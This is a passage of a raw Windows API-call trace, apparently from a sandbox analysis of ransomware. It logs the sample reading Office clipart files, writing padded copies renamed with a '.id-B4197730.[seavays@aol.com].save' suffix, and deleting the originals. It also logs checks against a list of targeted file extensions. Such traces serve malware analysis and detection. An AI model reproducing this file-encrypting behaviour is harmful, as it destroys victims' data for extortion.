dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0176.651] GetLastError () returned 0x0 [0176.651] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1574, lpOverlapped=0x0) returned 1 [0176.652] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1580, lpOverlapped=0x0) returned 1 [0176.653] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.653] WriteFile (in: hFile=0x370, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.653] SetEndOfFile (hFile=0x370) returned 1 [0176.654] CloseHandle (hObject=0x370) returned 1 [0176.654] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.654] SetEndOfFile (hFile=0x534) returned 1 [0176.657] CloseHandle (hObject=0x534) returned 1 [0176.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.776] lstrlenW (lpString=".doc") returned 4 [0176.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.776] lstrlenW (lpString=".docx") returned 5 [0176.776] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.776] lstrlenW (lpString=".pdf") returned 4 [0176.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.776] lstrlenW (lpString=".xls") returned 4 [0176.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.776] lstrlenW (lpString=".xlsx") returned 5 [0176.776] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.776] lstrlenW (lpString=".ppt") returned 4 [0176.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.776] lstrlenW (lpString=".zip") returned 4 [0176.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.776] lstrlenW (lpString=".rar") returned 4 [0176.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.776] lstrlenW (lpString=".bz2") returned 4 [0176.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.776] lstrlenW (lpString=".7z") returned 3 [0176.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.777] lstrlenW (lpString=".dbf") returned 4 [0176.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.777] lstrlenW (lpString=".1cd") returned 4 [0176.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.777] lstrlenW (lpString=".jpg") returned 4 [0176.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.777] lstrlenW (lpString=".doc") returned 4 [0176.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.777] lstrlenW (lpString=".docx") returned 5 [0176.777] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.777] lstrlenW (lpString=".pdf") returned 4 [0176.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.777] lstrlenW (lpString=".xls") returned 4 [0176.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.777] lstrlenW (lpString=".xlsx") returned 5 [0176.777] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.777] lstrlenW (lpString=".ppt") returned 4 [0176.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.777] lstrlenW (lpString=".zip") returned 4 [0176.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.777] lstrlenW (lpString=".rar") returned 4 [0176.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.778] lstrlenW (lpString=".bz2") returned 4 [0176.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.778] lstrlenW (lpString=".7z") returned 3 [0176.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.778] lstrlenW (lpString=".dbf") returned 4 [0176.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.778] lstrlenW (lpString=".1cd") returned 4 [0176.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68 [0176.778] lstrlenW (lpString=".jpg") returned 4 [0176.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.778] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0176.778] lstrlenW (lpString="J0107734.WMF") returned 12 [0176.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.105] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3140) returned 1 [0177.105] CloseHandle (hObject=0x540) returned 1 [0177.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220 [0177.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.106] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.106] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.107] GetLastError () returned 0x0 [0177.107] ReadFile (in: hFile=0x540, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0xc44, lpOverlapped=0x0) returned 1 [0177.110] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xc50, lpOverlapped=0x0) returned 1 [0177.111] ReadFile (in: hFile=0x540, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.111] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.111] SetEndOfFile (hFile=0x378) returned 1 [0177.111] CloseHandle (hObject=0x378) returned 1 [0177.111] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.111] SetEndOfFile (hFile=0x540) returned 1 [0177.114] CloseHandle (hObject=0x540) returned 1 [0177.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0177.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.116] lstrlenW (lpString=".doc") returned 4 [0177.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.116] lstrlenW (lpString=".docx") returned 5 [0177.116] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.116] lstrlenW (lpString=".pdf") returned 4 [0177.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.116] lstrlenW (lpString=".xls") returned 4 [0177.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.117] lstrlenW (lpString=".xlsx") returned 5 [0177.117] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.117] lstrlenW (lpString=".ppt") returned 4 [0177.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.117] lstrlenW (lpString=".zip") returned 4 [0177.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.117] lstrlenW (lpString=".rar") returned 4 [0177.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString=".bz2") returned 4 [0177.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString=".7z") returned 3 [0177.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.117] lstrlenW (lpString=".dbf") returned 4 [0177.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.117] lstrlenW (lpString=".1cd") returned 4 [0177.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.117] lstrlenW (lpString=".jpg") returned 4 [0177.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.117] lstrlenW (lpString=".doc") returned 4 [0177.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.117] lstrlenW (lpString=".docx") returned 5 [0177.118] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0177.118] lstrlenW (lpString=".pdf") returned 4 [0177.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.118] lstrlenW (lpString=".xls") returned 4 [0177.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.118] lstrlenW (lpString=".xlsx") returned 5 [0177.118] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0177.118] lstrlenW (lpString=".ppt") returned 4 [0177.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.118] lstrlenW (lpString=".zip") returned 4 [0177.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.118] lstrlenW (lpString=".rar") returned 4 [0177.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.118] lstrlenW (lpString=".bz2") returned 4 [0177.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.118] lstrlenW (lpString=".7z") returned 3 [0177.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.118] lstrlenW (lpString=".dbf") returned 4 [0177.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.118] lstrlenW (lpString=".1cd") returned 4 [0177.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0177.118] lstrlenW (lpString=".jpg") returned 4 [0177.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.119] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0177.119] lstrlenW (lpString="J0107750.WMF") returned 12 [0177.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.121] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=4716) returned 1 [0177.121] CloseHandle (hObject=0x540) returned 1 [0177.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220 [0177.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.121] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.121] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.123] GetLastError () returned 0x0 [0177.123] ReadFile (in: hFile=0x540, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x126c, lpOverlapped=0x0) returned 1 [0177.124] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1270, lpOverlapped=0x0) returned 1 [0177.127] ReadFile (in: hFile=0x540, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.127] WriteFile (in: hFile=0x378, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.127] SetEndOfFile (hFile=0x378) returned 1 [0177.128] CloseHandle (hObject=0x378) returned 1 [0177.128] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.128] SetEndOfFile (hFile=0x540) returned 1 [0177.131] CloseHandle (hObject=0x540) returned 1 [0177.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0177.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.132] lstrlenW (lpString=".doc") returned 4 [0177.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.132] lstrlenW (lpString=".docx") returned 5 [0177.132] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0177.132] lstrlenW (lpString=".pdf") returned 4 [0177.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.132] lstrlenW (lpString=".xls") returned 4 [0177.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.133] lstrlenW (lpString=".xlsx") returned 5 [0177.133] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0177.133] lstrlenW (lpString=".ppt") returned 4 [0177.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.133] lstrlenW (lpString=".zip") returned 4 [0177.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.133] lstrlenW (lpString=".rar") returned 4 [0177.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString=".bz2") returned 4 [0177.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString=".7z") returned 3 [0177.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.133] lstrlenW (lpString=".dbf") returned 4 [0177.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.133] lstrlenW (lpString=".1cd") returned 4 [0177.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.133] lstrlenW (lpString=".jpg") returned 4 [0177.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.133] lstrlenW (lpString=".doc") returned 4 [0177.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.133] lstrlenW (lpString=".docx") returned 5 [0177.134] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0177.134] lstrlenW (lpString=".pdf") returned 4 [0177.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.134] lstrlenW (lpString=".xls") returned 4 [0177.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.134] lstrlenW (lpString=".xlsx") returned 5 [0177.134] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0177.134] lstrlenW (lpString=".ppt") returned 4 [0177.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.134] lstrlenW (lpString=".zip") returned 4 [0177.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.134] lstrlenW (lpString=".rar") returned 4 [0177.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.134] lstrlenW (lpString=".bz2") returned 4 [0177.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.134] lstrlenW (lpString=".7z") returned 3 [0177.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.134] lstrlenW (lpString=".dbf") returned 4 [0177.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.135] lstrlenW (lpString=".1cd") returned 4 [0177.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0177.135] lstrlenW (lpString=".jpg") returned 4 [0177.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.135] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0177.135] lstrlenW (lpString="J0136865.WMF") returned 12 [0177.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.184] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=16710) returned 1 [0177.184] CloseHandle (hObject=0x378) returned 1 [0177.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220 [0177.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.185] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.185] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0177.187] GetLastError () returned 0x0 [0177.187] ReadFile (in: hFile=0x378, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x4146, lpOverlapped=0x0) returned 1 [0177.189] WriteFile (in: hFile=0x520, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4150, lpOverlapped=0x0) returned 1 [0177.191] ReadFile (in: hFile=0x378, 